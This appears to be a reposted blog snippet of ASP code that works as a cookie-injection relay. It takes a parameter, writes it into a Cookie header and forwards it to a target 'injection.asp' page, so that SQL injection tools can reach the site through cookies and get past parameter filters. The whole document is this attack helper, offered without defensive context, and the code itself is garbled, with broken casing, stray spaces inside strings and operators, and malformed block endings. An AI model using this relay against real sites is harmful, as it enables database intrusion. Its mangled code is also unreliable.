Source: Public blog shared by zj1244
CopyCodeThe Code is as follows: <%
STR = "xxxid =" & escape (Request ("FK "))
Url = "http://xxx.chinaxxx.com/injection.asp"
Response. Write postdata (URL, STR)
Function postdata (posturl, postcok)
Dim HTTP
Set HTTP = server. Createobject ("msxml2.serverxmlhttp ")
With HTTP
. Open "get", posturl, false
. SetRequestHeader "cookie", postcok
. Send
Postdata =. responsebody
End
Set HTTP = nothing
Postdata = bytes2bstr (postdata)
End Function
Function bytes2bstr (VIN)
Dim strreturn
Dim I, thischarcode, nextcharcode
Strreturn = ""
For I = 1 to lenb (VIN)
Thischarcode = ASCB (midb (Vin, I, 1 ))
If thischarcode <& h80 then
Strreturn = strreturn & CHR (thischarcode)
Else
Nextcharcode = ASCB (midb (VIN, I + 1, 1 ))
Strreturn = strreturn & CHR (clng (thischarcode) * & h100 + CINT (nextcharcode ))
I = I + 1
End if
Next
Bytes2bstr = strreturn
End Function
%>